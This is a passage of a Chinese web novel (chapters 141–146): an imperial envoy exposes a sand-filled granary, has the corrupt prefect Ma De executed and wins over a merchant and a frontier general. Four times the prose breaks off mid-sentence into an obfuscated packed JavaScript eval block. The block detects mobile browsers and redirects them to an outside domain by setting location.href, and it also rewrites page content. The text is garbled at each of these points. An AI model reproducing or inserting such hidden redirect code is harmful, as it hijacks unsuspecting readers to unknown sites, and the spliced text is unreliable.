老兵的声音带着悲愤,像是在控诉这无情的天地,“官府的盘剥,比城外那些茹毛饮血的蛮子还狠!朝廷每年拨下的兵饷,十成里倒有八成进了那些狗官的私囊!士兵饿得连刀都快举不起来了,还谈什么保家卫国?至于城里的百姓……能活到今天的,都是命大!” 陈平川静静听着,点了点头,请老兵再多说一些。 就在这时,那扇用烂木板拼凑的门,被人一脚从外面狠狠踹开! “砰!” 几个身穿衙役服饰,却满身痞气的男子闯了进来。 为首的是个满脸横肉的壮汉,一双三角眼在昏暗的屋里一扫,目光落在了炕上那半块没吃完的饼子上。 “老东西,还有余粮啊?”横肉男狞笑着,露出满口黄牙,“这个月的‘人头税’该交了!拿来吧!”他说着,便伸手要来抢那半块饼。 老兵气得浑身发抖,用仅存的一条腿支撑着身体,怒吼道:“我们家什么都没了!你们这是要逼死我们祖孙俩啊!” “少**废话!”横肉男眼神一横,抬脚就将老兵踹翻在地。 “啊!”张若素惊呼一声,义愤填膺,正要上前理论。 陈平川却一把拉住了她,对她摇了摇头,自己则慢悠悠地站起身,不偏不倚地挡在了横肉男的面前,脸上甚至还挂着一丝玩味的笑。 “几位官爷,何必为这点小事大动肝火,对身体可不好啊。” 横肉男一愣,斜着眼上下打量着这个穿着普通、面带微笑的外地人。 “你算哪根葱?给老子滚开!” 第141章 借梁坤的威,吓马德的狗 “我不是葱,只是个替人跑腿的小角色。”陈平川的笑容不改,语气却平添了几分凉意,“不过,几位官爷就算不给我面子,也得给我家大人的脸面。否则……惹恼了他老人家,几位官爷可就吃罪不起了。” 横肉男和几个狗腿子都听懵了,一时没反应过来。 “你家大人是谁?” 陈平川向前凑近一步,压低了声音,用只有他们几人能听见的音量,一字一顿地说道:“我家大人,姓梁。你们那位马知州见了他,也得恭恭敬敬地叫声‘坤爷’!” 他故意停顿了一下,意味深长地看着横肉男瞬间变化的脸色。 是那个梁坤?! 横肉男的脸色“唰”地一下白了,冷汗瞬间浸湿了后背的衣衫。 他早就听上头的人提过,从京城来了两位钦差大爷,一位是新科状元,另一位,就是国舅爷的亲信,梁坤! 那是连马知州都得当祖宗一样供着的大人物! 他们这些在底层的小鱼小虾,万一冲撞了人家身边的亲信,怕是**的都不知道! 至于陈平川说的是不是实话,他可没胆子验证,万一是真的呢? 陈平川看着他惊恐的表情,又慢悠悠地补充了一句:“哦,对了。我家大人还说了,他们这次来专查亏空。这顺城几年的烂账,总要有人出来扛。说不定哪天,就需要找几个‘顶罪’的,把这些事儿都担下来。我看几位大哥……就挺合适的。” 这话如同一盆腊月的冰水,从横肉男的天灵盖直浇到脚后跟。 他脑子里瞬间闪过抄家、下狱、斩首示众等一系列恐怖画面,双腿一软,几乎站立不稳。 他再看陈平川那张云淡风轻的笑脸,只觉得比索命的阎王还要可怕一万倍。 “不……不收了!今天不收了!” 横肉男结结巴巴地喊了一句,顾不上在手下面前丢脸,带人连滚带爬地逃出了茅屋,那狼狈的样子,仿佛身后有恶鬼在穷追不舍。 屋子里,断腿老兵目瞪口呆地看着这荒诞的一幕,许久才回过神来。 他望向陈平川的眼神,彻底变了,那里面有震惊,有疑惑,更有感激。 这一幕,恰被巷口一道阴影里的身影尽收眼底。 那人约莫四十余岁,身上一件不起眼的暗色锦缎。 看着就透着股精明劲儿,那双眼睛雪亮,仿佛什么心思都瞒不过他,世间的弯弯绕绕也看得一清二楚。 “啪、啪、啪。” 几声清脆的拍手声响起。 “好手段。”那人缓步踱出阴影,脸上挂着一丝玩味又赞许的笑意,“借梁坤的威,吓马德的狗。在这顺城,能有这般胆色和头脑的年轻人,可不多见。” 陈平川循声望去,神色不动。 他身侧,张若素下意识地绷紧了身子。 “阁下是?”陈平川的语气平静无波。 “鄙人刘四海,在这城里做点小买卖,混口饭吃。”刘四海的目光在陈平川身上滴溜溜转了一圈,随即又越过他,朝着屋内的断腿老兵微微颔首,那熟稔的神情,显然二人相识。 他收回目光,对着陈平川一拱手,言语却带着试探:“若是不嫌弃,可否到我的铺子里喝杯热茶,暖暖身子?” 陈平川心念电转。 他需要一个不在官僚体系之内,却又十分熟悉顺城的人。 眼前这个精明的商人,或许是合适的人选。 “那就叨扰了。”陈平川拱手回礼。 刘四海的商铺就在街角,铺面不大,门脸也旧,但一踏进去,却别有洞天。 狭长的空间里,货架顶天立地,堆满了琳琅满目的货物。 南方的丝绸茶叶码放得整整齐齐,北地的粗制皮**、草药则随意地堆在角落,空气中弥漫着茶香、药香和皮货的腥膻味,混杂成一股奇特的气息。 刘四海亲自取了火炉,煮了泉水,手法娴熟地冲泡了一壶香片。 他将一杯澄黄的茶汤推至陈平川面前,开门见山:“小兄弟看着面生得很,不是本地人吧?” “随主家来此办点事。”陈平川端起粗瓷茶杯,轻啜一口,茶味清冽。 “主家?”刘四海发出一声意味不明的轻笑。 “梁坤吗?刘某眼拙,却怎么看怎么不像。你若真是梁坤的心腹,刚才就不可能为了一介老卒出头,更不会蠢到用梁坤的名头,去压马德的走狗。” 他不是傻子,陈平川的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990509|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术骗不了他。 陈平川闻言,只是淡淡一笑,既不承认,也不否认。 在没有摸清对方是敌是友之前,沉默便是最好的盾牌。 刘四海见他这般沉得住气,眼中闪过异色,自顾自地继续说道:“京城来的贵人,一个比一个架子大。可他们不懂,这顺城,不是天子脚下的京城。这里的天,姓马,这里的规矩,是马知州和梁家定下的。” 他身体微微前倾,声音压得更低,如同耳语:“我敢拿我这间铺子打赌,那个姓陈的钦差,不出三个月,要么被他们联手架空,动弹不得。要么就得夹着尾巴,灰溜溜地滚回京城去。顺城这潭水,深不见底,淹死过不止一条过江龙。” 他盯着陈平川的脸,试图从那张年轻的面孔上捕捉到一丝一毫的惊慌或动摇。 然而,陈平川只是平静地放下茶杯,发出一声轻笑。 “听刘老板这意思,是对这位陈钦差,没有半分信心啊。” “信心?”刘四海发出一声嗤笑,仿佛听到了天大的笑话,“信心能当饭吃?能让这城里的百姓穿上衣裳?我只信我眼睛看到的!这城里,戍边的士兵连军饷都摸不着,街边的百姓饿得啃树皮,可马知州的府邸,却是三天一小宴,五天一大宴,酒肉臭得熏人!你告诉我,再来一个官,能有什么不同?” 陈平川不置可否,目光一转,落在了墙角那堆皮**上,话锋也随之一转:“刘老板的货物倒是齐全,看这些皮**的硝制手法,不像是中原的货色。” “跟北边那些蛮子换的。”刘四海毫不避讳,坦然承认,“他们缺盐、缺铁、缺我们的一口茶,我缺银子养家糊口。各取所需,一桩买卖而已。” “蛮族年年犯边,杀我军民,抢我牛羊。与他们做生意,刘老板就不怕被人扣上一顶通敌的帽子?”陈平川的语气依旧平淡,眼神却陡然变得冷厉。 这句话像是触动了刘四海的某个开关,他脸上商人的圆滑瞬间褪去,取而代之的是一种浸入骨髓的恨意,眼神里闪过一抹血色:“他们是狼,马德就是条喂狼的狗!我刘四海,不过是从狼和狗的嘴里,抠点残羹剩饭养活一家老小罢了!” 第142章 以商为刀!怒砸官仓,马德凉了! 陈平川的心头猛地一动。 他凝视着刘四海,声音放得极缓,一字一句地问道:“既然恨他们入骨,为何还要与他们交易?若是断了他们的盐茶,岂不是釜底抽薪,能让他们更难受?” “断了?”刘四海哼笑出声,声音却满是悲凉与无奈,“我刘四海断了,城里的张屠户、李铁匠就不会偷偷卖吗?马知州自己就不会把官仓里的东西换成金子吗?到头来,饿死的是我刘四海一家,蛮子一根**都少不了!说不定,他们还会因为缺了东西,劫掠得更凶,杀的人更多!” “那如果……不是彻底断绝呢?”陈平川的声音很轻,却像一颗石子投入刘四海死寂的心湖,“如果,我们卖给他们的,是让他们欲罢不能,沉溺其中,消磨斗志的东西。比如更精美的绸缎,更香醇的美酒。而我们,则将盐、铁这些命脉之物,牢牢攥在手里,抬高十倍、百倍的价钱。用从他们身上赚来的钱,去铸造我们自己的刀枪,去犒赏我们自己的士兵,去安抚我们自己的百姓……以商为刀,刘老板以为如何?” 刘四海端着茶杯的手,猛地僵在了半空。 他脸上的表情从震惊到迷惘,最后化为一片深思。 做了一辈子生意,他想的永远是如何赚钱,如何在官府和蛮族的夹缝中周旋,如何自保。 可眼前这个年轻人,寥寥数语,竟将这被人瞧不起的商贾之事,抬到了经天纬地的国策博弈之高度! 以商为刀…… 以商为刀! 这四个字,撕开了一道裂缝,有光,刺眼地透了进来。 他看着陈平川,喉结剧烈地上下滚动,许久,才从干涩的喉咙里挤出几个字:“你……你到底是什么人?” 陈平川却只是端起茶杯,将已经微凉的茶水一饮而尽,呵呵一笑。 “我只是个替主家跑腿的无名小卒罢了。可惜啊,空有这些想法,却无用武之地。若是能有真凭实据,将马德之流搜刮民脂、暗通外敌的罪证公之于众,或许……那位远道而来的陈钦差,也能放开手脚,为这顺城做些事情。” 他特意将“真凭实据”四个字,咬得极重,暗示意味明显。 陈平川猜测,这个刘四海,应该知道些什么! 刘四海的呼吸陡然急促起来,胸膛剧烈起伏,眼神变幻,内心正经历着天人交战。 眼前这个年轻人,神秘,莫测,却一语道破天机。 将希望寄托于他,是赌上全家性命的豪赌。 可若不赌,难道就要眼睁睁看着这顺城彻底烂下去,看着马德把搜刮来的民脂民膏,变成蛮族攻城掠地的刀枪剑戟,最终再屠戮到自己家人头上吗? 最终,那股被压抑了多年的血性和恨意战胜了恐惧,他猛地一咬牙,像是下定了某种决心。 他从自己最贴身的衣襟里,掏出一个用油布包裹得严严实实、已经磨得发亮的小册子。 他将册子“啪”地一声按在桌上,声音低沉:“先生……你说的这些,我比谁都清楚!马德这几年卖给蛮子的官粮、布匹、甚至是违禁的铁器伤药,有多少是从我手上过的……这上面,一笔一笔,记得清清楚楚!” 他的眼睛赤红,布满血丝,死死盯着陈平川:“可这东西,是催命符!在顺城,谁敢看?谁又敢管?先生,你若真有回天之力,能救这满城百姓于水火,我刘四海这条贱命,连同这本血账,就全都交给你了!” 陈平川缓缓伸出手,将那本分量沉重的账本接了过来。 他没有急于表露身份,只是迎着刘四海那混杂着期盼与决绝的目光,微微一笑,笑容里是从容和安定人心的力量。 “刘老板,有空去城门口的布告栏看看。” 他的声音平静。 “那里,或许会有你想要的答案。” 说完,他站起身,对着刘四海郑重一揖,随后带着一直沉默不语、心潮澎湃的张若素,转身走入商铺外无边的夜色之中。 独留下刘四海一个人,呆立在昏黄的灯火下,手脚冰凉,心中却已卷起惊涛骇浪。 **接下来等待自己的是什么,是生是死,就看明天了! …… 次日清晨,官仓前,晨雾如同一层薄纱,笼罩着大地。 陈平川负手而立,玄色长衫在微风中纹丝不动,他身后,是面色凝重、扮作小厮的张若素。 他们身后,十几名从京城带来的护卫身披甲胄,手按刀柄,沉默冷酷。 日上三竿,马德与梁坤才在一众衙役的簇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990510|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥下姗姗来迟。 马德一张脸皱得像苦瓜,一上来就对着陈平川连连作揖:“钦差大人,下官无能!府库的钥匙……还是没有找到。下官已派人全城搜寻,就是掘地三尺也要把它给找出来!请大人……再宽限几日……” 梁坤在一旁,脸上挂着一副“恨铁不成钢”的表情,轻轻拍了拍马德的肩膀,故意说话给陈平川听:“马大人,你这可就太不像话了,怎么能让钦差大人久等呢?” 马德连连点头哈腰:“是,是,大人教训的是。” 梁坤这才转向陈平川,脸上堆起皮笑肉不笑的褶子:“陈大人,您看,马知州也是尽力在找。不过,凡事须**度,这官仓乃朝廷重地,没有勘验凭据,没有府库钥匙,可不能擅动。否则,若是传回京城,说您无故砸开官仓,恐怕对大人的声名有碍啊。” 他嘴上说着关切,却满是警告与威胁。 陈平川静静地听完他们一唱一和的双簧,嘴角勾起一抹讥讽。 他没有看梁坤一眼,只是对着身后的护卫队长,吐出两个字。 “砸了。” 此言一出,马德脸上的苦相瞬间凝固,梁坤脸上的假笑也僵硬在嘴角。 “陈平川,你敢!” 梁坤的声音陡然变得尖锐,一旦府库打开,就露馅了! 然而,京城来的护卫只听钦差号令。 身形魁梧的壮汉闻声出列,并未拔刀,而是反手握住沉重的刀鞘,抡圆了胳膊,对着那把锁头狠狠砸了下去! 在马德与梁坤惊骇的目光中,只听“咣”的一声震耳欲聋的巨响! 那拳头大小的铜锁,应声而碎,弹飞出去,重重地砸在青石板上,发出一连串清脆的跳动声。 厚重的仓门在一阵令人牙酸的“嘎吱”声中,被两名护卫缓缓推开。 一股混合着霉味与尘土的陈腐气息,扑面而来。 众人向内望去,只见幽暗的库房之内,无数麻袋堆积如山,从门口一直码放到库房尽头,看起来并无任何异常。 梁坤那颗悬到嗓子眼的心,稍稍落回了肚子里。 马德则连忙爬上前,挤出一个比哭还难看的笑容:“大人您看,这粮草不是完好无损吗?本官保证,一粒都不少……” 第143章 一刀揭开惊天谎,惊堂木下现杀机! 马德的话音未落。 陈平川已经缓步走到一个麻袋前,他甚至没有低头去看,只是姿态随意地抽出旁边护卫腰间的佩刀。 雪亮的刀光一闪而逝。 手起,刀落。 “刺啦!” 坚韧的麻布被锋利的刀刃轻易划开,一道长长的口子瞬间裂开。 从破口中涌出的,不是金灿灿的粟米,而是混杂着石块和泥土的黄沙! 细碎的沙土如同一道黄色的瀑布,从麻袋的伤口处倾泻而下,在众人脚边迅速堆起一座小丘。 陈平川面无表情,手腕一转,刀锋接连划过身旁的七八个麻袋。 “刺啦!刺啦!刺啦!” 刀锋过处,麻袋尽裂! 无一例外! 所有被划开的麻袋里,涌出的全都是黄沙! 偌大的官仓,边关的命脉,竟是一座用沙土堆砌起来的巨大谎言! 马德双腿软得像两根面条,“扑通”一声瘫倒在地,口中胡乱念叨着:“完了……全完了……全完了……” 梁坤的脸色在一瞬间由青转白,再由白转为一种死灰般的铁青。 他千算万算,没算到陈平川竟是如此的胆大包天! 不找证据,不搞审问,不走任何流程,直接用最粗暴、最直接的方式,将这个天大的脓包捅破! 陈平川一脚踩在地上的沙土之上,目光如刀,越过瘫软如泥的马德,直直刺向脸色铁青的梁坤。 他开口,声音却是在问地上的马德。 “马知州,这,便是你给朝廷的交代?” “这,便是你给顺城数万军民百姓的交代吗?!” 最后一句,已是声色俱厉,愤怒不已! 马德浑身筛糠,什么也说不出来。 陈平川冷冷一挥手:“来人,将他押入大牢,明日再审!” 护卫立刻上前,将瘫倒的马德像拖死狗一样拖走。 随后,陈平川理也不理一旁脸色变幻的梁坤,带着张若素,转身离去。 …… 夜深,顺城大牢。 阴暗潮湿的牢房里,梁坤屏退了左右,阴沉着脸,看着被关在草堆上、失魂落魄的马德。 他压低了声音,语气阴冷。 “咬**,就说你毫不知情。所有事,都是下面的人瞒着你干的,你是被蒙蔽的。没有旁证,他陈平川动不了你!” 马德抬起一张毫无血色的脸,嘴唇哆嗦着:“可……可是……” “没有可是!”梁坤打断他,眼中闪烁着狠戾的光,“若是他敢用刑,我立刻上折子参他一本,告他滥用私刑,屈打朝廷命官!到时候,太后和国舅爷自然会为你做主!” …… 顺城府衙外的布告栏前,人潮涌动。 一张盖着鲜红钦差大印的告示,贴在灰败的墙上。 有识字先生扯着嗓子念着。 “黄沙换粮,中饱私囊!……兹告顺城父老,凡有知州马德贪赃枉法、鱼肉乡里之罪证者,皆可前来府衙鸣冤。一经查实,赏银百两!” 人群的死寂被打破,嗡嗡的议论声如蜂群出巢。 “我的天爷!官仓里塞的都是沙子?” “怪不得咱们年年缴税,边军的兄弟却饿得啃草根!这天杀的狗官!” 怒火在每个人的胸膛里点燃,烧得人眼眶发红。 然而,怒火却压不住人心的恐惧和质疑。 “赏银百两?怕是画在纸上的饼,给你看,吃不着!” “去告状?马知州是官,咱们是民。今天告倒了他,明天咱们的脑袋就得搬家!官官相护,这道理还不懂吗?” 希望的火星在众人眼中一闪而过,随即被麻木与畏缩的阴云覆盖。 他们就像一群被狼群圈养的羊,即使栅栏开了个口子,也不敢踏出一步。 刘四海就混在这片灰色的绝望里,心头五味杂陈。 他看着那告示,也看着周围一张张既愤怒又胆怯的脸,心里的火苗,也渐渐冷了下去。 就在这时,他的视线无意中扫过布告栏一侧。 那个一直跟在陈先生身边的清秀“小厮”正静静地站在那里,虽然周围尽是怀疑和嘲讽的目光,可那“少年”的眼神却清澈得像一泓秋水,坚定地望着前方,仿佛在无声地宣告:我们,是认真的! 刘四海的心猛地被撞了一下。 那样的眼神,那种虽千万人吾往矣的气度,绝不是一个普通小厮能有的。 他想起昨夜那个年轻人石破天惊的言论,想起他谈笑间便将梁坤的威风化为己用的手段,一个大胆的猜测,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990511|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野草般疯长,再也压抑不住。 他攥紧了藏在袖中的拳头,深吸了一口冰冷的空气,毅然转身,挤出了人群。 …… 府衙公堂,森然肃穆。 光线从高窗透入,在空气中划出无数道尘埃飞舞的轨迹,照得那块“明镜高悬”的牌匾也蒙上了一层灰霾。 陈平川端坐堂上,神色沉静如水。 他身侧,梁坤冷着一张脸,端着茶杯,眼观鼻,鼻观心,仿佛事不关己。 “带人犯,马德!” 惊堂木“啪”的一声脆响。 马德被两名护卫架了上来,双腿软得像面条,一进公堂便“扑通”跪倒,将额头磕在冰冷的青石砖上,鼻涕眼泪瞬间糊了满脸。 “冤枉啊!大人!下官真的冤枉啊!” 他一边磕头如捣蒜,一边将梁坤昨夜教他的话术哭喊出来:“下官对官仓之事,毫不知情啊!都是……都是下面那帮天杀的胥吏,他们蒙蔽了下官!求大人明察秋毫,还下官一个清白!” 他哭得声嘶力竭,仿佛真受了天大的委屈,演技之精湛,连陈平川都觉得,应该给他颁一座小金人。 陈平川看着他的表演,嘴角勾起一抹冷笑。 “马大人,这公堂之上,你还当是戏台子不成?真把本官当三岁的孩子耍?” 马德疯狂摇头:“不不,下官绝无此意,下官所言句句属实,若有半句虚言,天打雷劈!” “好一个天打雷劈!”陈平川笑容一敛,猛地一拍惊堂木,厉声喝道:“看来你是不见棺材不掉泪!来人,给本官上刑!” “且慢!” 一直沉默的梁坤忽然开口,他缓缓放下茶杯,站起身,一双三角眼里闪着冷光。 “陈大人,我大业律法,刑不上大夫。马知州再有过失,也是朝廷亲封的四品命官。在没有人证物证之前,擅动大刑,等同于藐视国法。这个罪名,陈大人你担待得起吗?” 他不再伪装,话语里满是赤裸裸的威胁和挑衅。 马德是梁坤在顺城的得力手下,更是对付陈平川的工具,若是折在这里,对他是个重大损失! 所以,他必须保住马德! 你陈平川不是能耐吗?今天我就用这祖宗之法,把你死死地压住! 第145章 三条铁律!震慑顺城官场! 顺城府衙,公堂之上。 夜色已深。 张若素的双眼熬得通红,布满了血丝,但她毫无倦意,把头埋入身前的案牍里,堆积如山的并非卷宗,而是一份份浸透了血泪的状纸。 上千份状纸,每一张都承载着一个破碎的家庭,每一份都记录了一个凄惨的命运。 堂下,跪着几十名百姓。他们衣衫褴褛,面容枯槁,压抑的啜泣声此起彼伏。 “大人……我……我的儿媳……” 一个白发苍苍的老妪,声音嘶哑,浑浊的眼泪滚滚而下,“就是被马德那畜生……那畜生强占了去,不堪受辱,投了井啊!尸首捞上来的时候,眼睛还睁着啊!” “我的田!我们家三代人开垦的薄田,他一句话就成了官产,我爹去理论,被活活打死在府衙门口!”一个汉子用拳头捶打着冰冷的青石地面,发出沉闷的响声,哭声里满是血海深仇。 控诉如潮,悲声四起。 等所有的血泪控诉都整理记录完毕,天边已泛起鱼肚白。 张若素捧着那厚厚一叠、仿佛有千斤重的状纸,呈递到陈平川面前。 陈平川端坐堂上,他也一夜未眠,但精神却十分饱满。 他缓缓拿起最上面的一份状纸,声音冰冷,在寂静的公堂上清晰回响。 “马德罪状一,黄沙换粮,倒卖军械,私通外敌,动摇国本!” “罪状二,巧立名目,横征暴敛,致使万民流离,饿捰遍野!” “罪状三,强占民女,逼良为娼,残害无辜,人神共愤!” …… 他每念一条,堂下马德的身体就剧烈地抽搐一下,仿佛触电一般。 当念到第十条时,马德已然失禁,腥臊的液体在身下蔓延开来,他整个人瘫软如一滩烂泥,喉咙里发出嗬嗬的、不似人声的哀鸣! 他心里知道,自己活不成了。 陈平川一口气历数了马德十条大罪,其余的不再累述。 他目光如电,直刺那滩烂泥。 “马德,这些是顺城百姓的血与泪!是你亲手造下的孽!” 陈平川胸中怒火翻腾,猛然抓起惊堂木,重重一拍! “砰!” 那声音如同一道旱天惊雷,炸响在每个人心头。 “斩立决!以慰民怨,以正国法!” 他随即下令,将从马德家中抄没的所有金银财宝、粮食布匹,尽数清点造册,归入府库,另设“公济库”。 “即日起,在城中四门设粥棚,开仓放粮,救济所有贫苦百姓!所有花费,皆从公济库出!” 消息飞出府衙,瞬间传遍了顺城的每一个角落。 “马德被斩了!” “陈大人为我们做主了!开仓放粮了!有活路了!” 气沉沉的城池,一下子沸腾了! 百姓们自发地拿出家中所有能敲响的东西,破锣、铜盆、铁锅……叮叮当当的响声汇成一股欢腾的洪流,响彻云霄。 无数人从破败的屋舍中涌向府衙门口,他们对着那扇紧闭的大门,好像看到了大堂上端坐的身影,纷纷纳头便拜,发自肺腑地高喊着:“青天大老爷!活菩萨降世啊!” 积压了数年的怨气与绝望,在这一刻,尽数化为最真挚的感激、最狂热的崇拜。 角楼之上,梁坤凭栏而立,北风吹得他衣袍猎猎作响。 他静静地看着下方那狂热的人潮,面无表情的脸色,慢慢浮现一个冷冷的微笑。 他身后,一人躬身而立,此人是马德的副手,同知邢彬。 他看着下方山呼海啸般的景象,脸上满是忧惧。 “大人……这陈平川深得民心,怕是……怕是不易对付啊。” 马德掌权时,他就是最得力的爪牙,两人狼狈为奸,坏事做绝。 现在马德倒台,断了他最大的财路,他对陈平川早已恨之入骨。 梁坤嘴角的冷笑愈发浓郁。 “民心?”他轻轻吐出这两个字,满是轻蔑与嘲弄,“民心最是廉价,也最是善变。如今他能给百姓粮食,百姓便奉他为神明。等他拿不出东西了呢?到时候,这些拥戴他的‘良民’,就会变成第一批扑上来撕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990513|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎他的野兽。” 他缓缓转过头,那双阴冷的三角眼死死盯着邢彬,声音轻蔑:“让他继续扮演这救苦救难的活菩萨吧,让他把所有人的胃口都吊起来。他很快就会发现,自己亲手点燃的这把火,终究会烧掉他自己!” 邢彬心头一凛,他瞬间明白了梁坤的险恶用心。 梁坤抬手,重重拍了拍他的肩膀:“接下来的事,你知道该怎么做了吧?表面上,恭恭敬敬,暗地里,给他使绊子,拖他后腿,让他寸步难行!” …… 次日,府衙议事厅。 陈平川召集了顺城所有大小官员议事。 厅内气氛肃杀,官员们噤若寒蝉。 陈平川端坐主位,目光冰冷,缓缓扫过下方一张张或恭敬、或畏惧的脸。 “从今日起,顺城有三条铁律。”他的声音不大,带着上位者的威严,让整个议事厅的温度都仿佛降了几分。 “一,贪赃枉法者,杀无赦!二,阳奉阴违者,杀无赦!三,怠政懒政者,杀无赦!” 三个“杀无赦”,让众人心头大骇,连大气都不敢喘一口。 邢彬立刻躬身,第一个站出来,满脸赤诚地表态:“下官谨遵大人教诲!属下必定鞠躬尽瘁,死而后已,为大人分忧,为顺城百姓谋福!” 其余官员见状,也纷纷附和,一时间,表忠心的声音此起彼伏,响成一片。 陈平川看着这番景象,心中冷笑,这群见风使舵的墙头草,演的倒是一出好戏。 他环视一圈,忽然眉头一皱。 “顺城守军最高将领,都指挥使赵莽,为何没到?” 厅内瞬间安静下来。 邢彬立刻上前一步,脸上带着几分为难。 “回大人,赵将军……脾气是出了名的古怪,向来不将我们这些文官放在眼里。” 他偷偷瞥了一眼陈平川的脸色,继续补充道。 “下官一早就派人去请了,可赵将军的原话是,‘军营重地,不是衙门后堂,没空听文官啰嗦’,怕是……怕是不服大人您的管教啊。” 第146章 前脚摆平老将军,后脚蛮族来敲诈 “无妨,他不来见本官,那本官就亲自去见他。” 陈平川淡然摆手,他能理解那位赵莽的心情,换成自己也不来。 …… 顺城军营,辕门紧闭。 那木门,如同凶兽紧闭的巨口,透着一股生人勿近的铁血肃杀。 陈平川带着张若素,立于门前。 一名守门亲兵登上箭楼,居高临下,高声大喊。 “将军说了,见面可以,先发军饷!” 那声音在空旷的营门前回荡,陈平川从里面听出了怨气。 “弟兄们三个月没见着一粒粮饷了,饿着肚子,没力气给钦差大人行礼!若是要治罪,直接抓人便可!” 经年累月积攒下的失望,让这里的官兵们对朝廷官员充满了敌视。 张若素秀眉紧蹙,这已不是不敬,而是公然的挑衅,将积压的怒火发泄在陈平川的身上。 陈平川却面色如常,他并不动怒,反而对着营门高声喊了回去,声音清朗,穿透了猎猎风声。 “上面的兄弟!麻烦你给赵将军传个话,就说本官今日不是来抓人的,是来还债的!” 他深吸一口气,积蓄力量,声音远远喊出去,确保营内能听得一清二楚。 “本官在此立诺,拖欠的军饷,三个月之内,分文不少,全部奉上!” 箭楼上的士兵也愣住了,他张了张嘴,似乎没料到,陈平川会说这样一句石破天惊的话。 他想了想,对着旁边一个兄弟递个眼神,让他飞奔去报告将军。 过了一会。 “吱呀——” 沉重营门发出令人牙酸的声响,缓缓打开一道缝隙,随即被完全推开。 一个身形魁梧如铁塔、须发皆白的老将军,如一尊雕塑般站在门后。他身披一套磨得发亮的旧甲,手里拄着一把未出鞘的重剑,那双桀骜冷厉的目光,死死钉在陈平川身上。 他便是顺城守军都指挥使——赵莽。 赵莽阔步而出,上下打量着陈平川,那眼神里满是猜疑。 “陈大人,好大的口气!三个月之内补齐三年军饷?你知道马德那条狗,欠了老夫和弟兄们多少军饷吗?那是个无底洞!你拿什么填?” 话音未落,他从怀里掏出一本厚厚的、边角已被磨烂的册子,动作粗暴地塞进陈平川的怀里。 “这是阵亡将士的抚恤名单,马德那条狗,扣了足足三年!补齐三年的军饷我不指望,你若能把这笔抚恤金补上,让死去兄弟们的家人有个活路,我赵莽这条老命,就卖给你!” 册子很薄,里面却承载着数百条不甘的冤魂。 陈平川翻开一页,上面是密密麻麻的名字,籍贯,以及阵亡的日期。 他将册子郑重地交给身后的张若素,低声道:“一个一个,仔细统计,务必分毫不差。” 张若素接过册子,点点头。 陈平川转过身,对着眼前这位如怒狮般的老将军,郑重地拱手一揖,态度诚恳。 “赵将军,本官再说一次。抚恤金,一文不少!拖欠的军饷,也一文不少!三个月为期,本官决不食言!” 赵莽根本不信,他从喉咙里发出一声冷哼:“陈大人莫不是做梦?顺城穷得耗子都含泪搬家,你从哪变出金山银山来?” 陈平川淡淡一笑,那笑容里带着一股令人心折的自信:“这就不劳老将军费心了。本官只问一句,将军信不信我?” 赵莽沉默了许久,那双锐利的眸子死死盯着陈平川,似乎想从他脸上看出哪怕一丝一毫的心虚与动摇。 但他只看到了坚定。 终于,他猛地一摆手。 “来人,上酒!” 一名亲兵端来一个托盘,上面是两只粗瓷大碗,以及一坛散发着辛辣气息的浑浊烈酒。 赵莽亲自满上两碗,将其中一碗递给陈平川。 “这碗酒,是敬你刚才的态度。你若真能办到,老夫会再请你喝一碗庆功酒!” 他话锋一转,语气森然如冰。 “但你若是办不到……” 他没有说下去,但周围那些士兵们眼中瞬间燃起杀气腾腾的凶光! 大业朝这几年来,因克扣军饷而激起的兵变、甚至投敌叛乱的军队,已有数股,早已不是什么新鲜事。 陈平川知道,那不是威胁,而是陈述一个必然会发生的事实。 他毫不犹豫地接过酒碗,迎着赵莽的目光,一饮而尽。 辛辣的酒液如同一条火线,从喉咙烧到胃里。 随后,他将空碗高高举起,目光扫过赵莽,扫过他身后每一张或麻木或充满敌意的脸。 “有本官在顺城一日,便绝不会再拖欠军饷一文!” “啪!” 